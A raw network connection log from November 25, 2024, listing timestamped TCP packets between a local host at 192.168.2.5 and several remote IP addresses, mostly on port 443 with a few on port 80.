Nov 25, 2024 16:21:48.250525951 CET	443	49873	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:48.321571112 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:48.321619034 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:48.321847916 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:48.322118044 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:48.322138071 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:48.324655056 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:48.324691057 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:48.324868917 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:48.325227022 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:48.325242043 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:48.584038973 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.584532976 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.584547997 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.585079908 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.585084915 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.604341030 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.604713917 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.604743958 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.605132103 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.605137110 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.646586895 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.646991968 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.647001028 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.647397995 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.647403002 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.677951097 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:48.678050995 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:48.713288069 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.716368914 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.716387033 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.716962099 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:48.716969013 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:48.718251944 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:48.839581966 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:49.039654016 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.039737940 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.039963961 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.047445059 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:49.047522068 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:49.048006058 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:49.048417091 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:49.048451900 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:49.049604893 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.049622059 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.049781084 CET	49879	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.049787045 CET	443	49879	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.053741932 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.053761959 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.053985119 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.054238081 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.054255009 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.055258989 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.055322886 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.055485010 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.055588007 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.055588007 CET	49876	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.055608034 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.055618048 CET	443	49876	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.069983006 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.070017099 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.070173979 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.070671082 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.070683956 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.091248989 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.091346025 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.091437101 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.092746973 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.092758894 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.092863083 CET	49877	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.092868090 CET	443	49877	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.096465111 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.096497059 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.096960068 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.097121000 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.097132921 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.166903973 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:49.166985035 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:49.168631077 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.168694973 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.168909073 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.169567108 CET	49878	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.169583082 CET	443	49878	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.172461033 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.172491074 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.172558069 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.172966003 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.172977924 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.173257113 CET	49889	80	192.168.2.5	185.215.113.16
Nov 25, 2024 16:21:49.243844032 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:49.245358944 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:49.245404005 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:49.246318102 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:49.246330976 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:49.246356010 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:49.246366024 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:49.304195881 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.304722071 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.304817915 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.305597067 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.305603981 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.391900063 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:49.391952038 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:49.392119884 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:49.392452002 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:49.392471075 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:49.443877935 CET	80	49889	185.215.113.16	192.168.2.5
Nov 25, 2024 16:21:49.443962097 CET	49889	80	192.168.2.5	185.215.113.16
Nov 25, 2024 16:21:49.444245100 CET	49889	80	192.168.2.5	185.215.113.16
Nov 25, 2024 16:21:49.564197063 CET	80	49889	185.215.113.16	192.168.2.5
Nov 25, 2024 16:21:49.816529989 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.816607952 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.816704035 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.818522930 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.818571091 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.818612099 CET	49881	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.818629980 CET	443	49881	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.822293043 CET	49891	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.822326899 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:49.822405100 CET	49891	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.822592020 CET	49891	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:49.822603941 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:50.227346897 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.227942944 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.227968931 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.228354931 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.229518890 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.229542971 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.229578972 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.229598999 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.229650021 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.229680061 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.229712009 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.229727983 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.229856968 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.229942083 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.229994059 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.230066061 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.230092049 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.230532885 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.230551004 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.230565071 CET	49880	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.230570078 CET	443	49880	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.280859947 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.281641006 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.281661034 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.282023907 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.282905102 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.282973051 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.285914898 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.286115885 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.286149979 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.290766001 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.290817022 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.290942907 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.291115999 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:50.291127920 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:50.773423910 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.773507118 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.773689032 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.774076939 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.774094105 CET	443	49882	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.774104118 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.774358034 CET	49882	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.821983099 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.822103024 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.822185993 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.822884083 CET	49883	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:50.822901964 CET	443	49883	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:50.966728926 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:50.967231989 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:50.967268944 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:50.967777014 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:50.967782974 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:50.988152981 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:50.988723993 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:50.988740921 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:50.989228010 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:50.989233017 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.059999943 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.060467005 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.060488939 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.060970068 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.060975075 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.061463118 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.061707973 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.061758041 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.062680960 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.062755108 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.063097000 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.063158989 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.063338995 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.063338995 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.063380957 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.116766930 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.116777897 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.167506933 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.184046984 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.184530020 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.184559107 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.185462952 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.185468912 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.315756083 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.316015005 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.316044092 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.317549944 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.317631960 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.317970991 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.318089962 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.318157911 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.318167925 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.318217039 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.318254948 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.367969036 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.404109001 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.404191971 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.404290915 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.404373884 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.404385090 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.404397964 CET	49887	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.404402971 CET	443	49887	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.407269955 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.407310963 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.407428026 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.407546043 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.407552958 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.433828115 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.433908939 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.433964968 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.434148073 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.434154034 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.434161901 CET	49885	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.434165955 CET	443	49885	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.436286926 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.436325073 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.436388969 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.436517000 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.436543941 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.520442009 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.520543098 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.520596027 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.520898104 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.520915031 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.520925045 CET	49886	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.520930052 CET	443	49886	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.526416063 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.526501894 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.526573896 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.528512001 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.528553963 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.589502096 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:51.589576006 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:51.589663982 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:51.591242075 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:51.591301918 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:51.591443062 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:51.633354902 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.633457899 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.633552074 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.633974075 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.634016037 CET	443	49884	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:51.634052038 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.634076118 CET	49884	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:51.650806904 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.650878906 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.651031971 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.651356936 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.651356936 CET	49888	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.651374102 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.651384115 CET	443	49888	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.655015945 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.655050993 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.655128002 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.655448914 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.655459881 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.670852900 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.671231985 CET	49891	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.671252012 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:51.671704054 CET	49891	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:51.671711922 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:52.125085115 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.125588894 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.125608921 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.125885010 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:52.125957012 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:52.126024008 CET	49891	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:52.126368999 CET	49891	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:52.126389027 CET	443	49891	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:52.126518011 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.126523972 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.126574993 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.126585007 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.129000902 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:52.129096985 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:52.129306078 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:52.129482031 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:52.129518986 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:52.289990902 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:52.290088892 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:52.290152073 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:52.290642023 CET	49890	443	192.168.2.5	51.116.253.170
Nov 25, 2024 16:21:52.290673018 CET	443	49890	51.116.253.170	192.168.2.5
Nov 25, 2024 16:21:52.758007050 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.758038044 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.758090973 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.758109093 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.758483887 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.758500099 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.758512974 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.758665085 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.758706093 CET	443	49892	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.759038925 CET	49892	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.790414095 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.790446997 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.790556908 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.792901039 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.792912960 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.799364090 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.799448013 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.799576998 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.799762011 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:52.799799919 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:52.821744919 CET	443	49816	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:52.821835041 CET	443	49816	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:52.821888924 CET	49816	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:52.858939886 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:52.859019995 CET	443	49815	162.159.61.3	192.168.2.5
Nov 25, 2024 16:21:52.859791994 CET	49815	443	192.168.2.5	162.159.61.3
Nov 25, 2024 16:21:53.156527996 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.157915115 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.157934904 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.158438921 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.158447027 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.207032919 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.229526997 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.229619026 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.230263948 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.230279922 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.311273098 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.311722040 CET	49895	443	192.168.2.5	13.107.246.63
